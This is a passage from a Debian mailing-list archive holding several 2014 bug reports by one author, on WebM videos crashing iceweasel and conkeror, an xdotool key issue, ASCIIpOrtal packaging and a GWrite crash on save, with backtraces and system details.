at 
/build/iceweasel-JlTf0H/iceweasel-31.2.0esr/ipc/chromium/src/base/message_loop.cc:229
#14 0xb375f594 in RunHandler (this=0x9d43a860)
at 
/build/iceweasel-JlTf0H/iceweasel-31.2.0esr/ipc/chromium/src/base/message_loop.cc:222
#15 MessageLoop::Run (this=0x9d43a860)
at 
/build/iceweasel-JlTf0H/iceweasel-31.2.0esr/ipc/chromium/src/base/message_loop.cc:196
#16 0xb35a95e4 in nsThread::ThreadFunc (arg=0xab1f7ef0)
at 
/build/iceweasel-JlTf0H/iceweasel-31.2.0esr/xpcom/threads/nsThread.cpp:316
#17 0xb2b62ba5 in _pt_root (arg=0x98ecc800) at ptthread.c:212
#18 0xb7769efb in start_thread () from 
/lib/i386-linux-gnu/i686/cmov/libpthread.so.0
#19 0xb7546d4e in clone () from /lib/i386-linux-gnu/i686/cmov/libc.so.6
(gdb) 
--- 퐬퐧퐚퐛 ---

A friend told me “I debugged this this morning and Gentoo has a patch”:
http://sources.gentoo.org/cgi-bin/viewvc.cgi/gentoo-x86/www-client/firefox/files/firefox-31.0-webm-disallow-negative-samples.patch?view=markup

Gentoo Bug: https://bugs.gentoo.org/show_bug.cgi?id=527010

Said friend also wrote “I debugged with mbox and it is not writing strange 
files.”
http://pdos.csail.mit.edu/mbox/

-- Package-specific info:

-- System Information:
Debian Release: jessie/sid
  APT 

Bug#770490: iceweasel: WebM loading crashes iceweasel

2014-11-21 Thread Nils Dagsson Moskopp
Package: iceweasel
Version: 31.2.0esr-3
Followup-For: Bug #770490

Related Mozilla bug: https://bugzilla.mozilla.org/show_bug.cgi?id=1090405

-- Package-specific info:


-- Addons package information

-- System Information:
Debian Release: jessie/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (i686)

Kernel: Linux 3.13-1-686-pae (SMP w/1 CPU core)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages iceweasel depends on:
ii  debianutils   4.4
ii  fontconfig2.11.0-6.1
ii  libasound21.0.28-1
ii  libatk1.0-0   2.14.0-1
ii  libc6 2.19-11
ii  libcairo2 1.12.16-2
ii  libdbus-1-3   1.8.8-1+b1
ii  libdbus-glib-1-2  0.102-1
ii  libevent-2.0-52.0.21-stable-1.1
ii  libffi6   3.1-2
ii  libfontconfig12.11.0-6.1
ii  libfreetype6  2.5.2-2
ii  libgcc1   1:4.9.1-16
ii  libgdk-pixbuf2.0-02.30.8-1
ii  libglib2.0-0  2.42.0-2
ii  libgtk2.0-0   2.24.24-1
ii  libhunspell-1.3-0 1.3.3-2
ii  libnspr4  2:4.10.7-1
ii  libnss3   2:3.17.2-1
ii  libpango-1.0-01.36.8-2
ii  libsqlite3-0  3.8.6-1
ii  libstartup-notification0  0.12-4
ii  libstdc++64.9.1-16
ii  libvpx1   1.3.0-2.1
ii  libx11-6  2:1.6.2-3
ii  libxext6  2:1.3.2-1
ii  libxrender1   1:0.9.8-1
ii  libxt61:1.1.4-1
ii  procps2:3.3.9-8
ii  zlib1g1:1.2.8.dfsg-2

iceweasel recommends no packages.

Versions of packages iceweasel suggests:
pn  fonts-mathjax  none
pn  fonts-oflb-asana-math  none
pn  fonts-stix | otf-stix  none
ii  libcanberra0   0.30-2.1
ii  libgnomeui-0   2.24.5-3
ii  libgssapi-krb5-2   1.12.1+dfsg-10
pn  mozplugger none

-- no debconf information


-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org



Bug#770499: conkeror: WebM loading crashes conkeror

2014-11-21 Thread Nils Dagsson Moskopp
Package: conkeror
Version: 1.0~~pre-1+git141025-1
Severity: grave
Tags: upstream security
Justification: user security hole

Dear Maintainer,

a video crashed conkeror with the following message:
 out of memory: 0x bytes requested
 Segmentation fault

See bug #770490 for similar bug report regarding iceweasel:
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=770490

-- Package-specific info:

-- Extensions information
Name: Element Hiding Helper for Adblock Plus
Location: 
/usr/share/mozilla/extensions/{a79fe89b-6662-4ff4-8e88-09950ad4dfde}/elemhidehel...@adblockplus.org
Package: xul-ext-adblock-plus-element-hiding-helper
Status: enabled

-- Plugins information

-- Addons package information
ii  xul-ext-adbloc 1.3-1all  companion for Adblock Plus to cre

-- Extensions information
Name: Element Hiding Helper for Adblock Plus
Location: 
/usr/share/mozilla/extensions/{a79fe89b-6662-4ff4-8e88-09950ad4dfde}/elemhidehel...@adblockplus.org
Package: xul-ext-adblock-plus-element-hiding-helper
Status: enabled

-- Plugins information

-- Addons package information
ii  xul-ext-adbloc 1.3-1all  companion for Adblock Plus to cre

-- System Information:
Debian Release: jessie/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (i686)

Kernel: Linux 3.13-1-686-pae (SMP w/1 CPU core)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages conkeror depends on:
ii  iceweasel   31.2.0esr-3
ii  xulrunner-17.0  17.0.10esr-1~deb7u1
ii  xulrunner-24.0  24.5.0esr-1

Versions of packages conkeror recommends:
ii  conkeror-spawn-process-helper  1.0~~pre-1+git140616-1
ii  xdg-utils  1.1.0~rc1+git20111210-7.1

Versions of packages conkeror suggests:
ii  emacs23 [emacsen]  23.4+1-4.1+b1

-- no debconf information


-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org



Bug#764079: xdotool: can't send ctrl+key to Iceweasel

2014-11-21 Thread Nils Dagsson Moskopp
Source: xdotool
Followup-For: Bug #764079

Relevant Bug on GitHub: https://github.com/jordansissel/xdotool/issues/52

-- System Information:
Debian Release: jessie/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (i686)

Kernel: Linux 3.13-1-686-pae (SMP w/1 CPU core)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash


-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org



Bug#548031: status of ASCIIpOrtal packaging

2014-11-07 Thread Nils Dagsson Moskopp
ASCIIpOrtal is a terminal game where you have a gun that shoots doors.

I recently installed ASCIIpOrtal on my N900 running Maemo. Since I like
the game, I would like to have access to it in Debian. It seems Peter
Pentchev tried to package it once, but gave up in September 2010.

Upstream seems to be offline: http://cymonsgames.com/asciiportal
Upstream source copy: https://github.com/cymonsgames/ASCIIpOrtal

This repository of the Debian games team looks abandoned:
http://anonscm.debian.org/cgit/pkg-games/asciiportal.git/

There seems to exist no package named “asciiportal” or “asciip0rtal”:
https://packages.debian.org/search?keywords=asciiportal
https://packages.debian.org/search?keywords=asciip0rtal

In 2009, Peter Pentchev r...@ringlet.net wrote in bug #548031:
 I actually have an almost-ready package for ASCIIpOrtal in the Debian
 Games Team's Git repository; just a couple of copyright issues remain
 to be clarified with the upstream developers.

 Sorry for the delay!

Can anyone tell me what the copyright issues were? I am willing to work
on the issues with upstream and create replacement assets if necessary.

-- 
Nils Dagsson Moskopp // erlehmann
http://dieweltistgarnichtso.net


pgpGcbDeNrgTk.pgp
Description: PGP signature


Bug#767302: gwrite: GWrite crashes when pressing save button

2014-10-29 Thread Nils Dagsson Moskopp
Package: gwrite
Version: 0.5.1-2
Severity: grave
Justification: causes non-serious data loss

Dear Maintainer,


when clicking the „Save“ button, I expected GWrite to save my content.

What I did not expect was GWrite crashing immediately, sigabrt style.

---snib---
/usr/lib/pymodules/python2.7/gwrite/gwrite.py:916: GtkWarning: 
gtk_menu_attach_to_widget(): menu already attached to GtkImageMenuItem
  toolbutton_open.set_menu(menu_recent)
Attempt to unlock mutex that was not locked
abort
---snab---

Note that GWrite still saves the HTML content if a file has been opened.

For a new file, information is lost when using the “Save” button.

This seems pretty edgy to me, if you know what I mean.

(ノಠ益ಠ)ノ彡┻━┻

-- System Information:
Debian Release: jessie/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (i686)

Kernel: Linux 3.13-1-686-pae (SMP w/1 CPU core)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages gwrite depends on:
ii  mimetex  1.74-1
ii  python   2.7.8-1
ii  python-gtk2  2.24.0-4
ii  python-jswebkit  0.0.3-2
ii  python-support   1.0.15
ii  python-webkit1.1.8-3
ii  wv   1.2.9-4

gwrite recommends no packages.

gwrite suggests no packages.

-- no debconf information


-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org



  1   2   >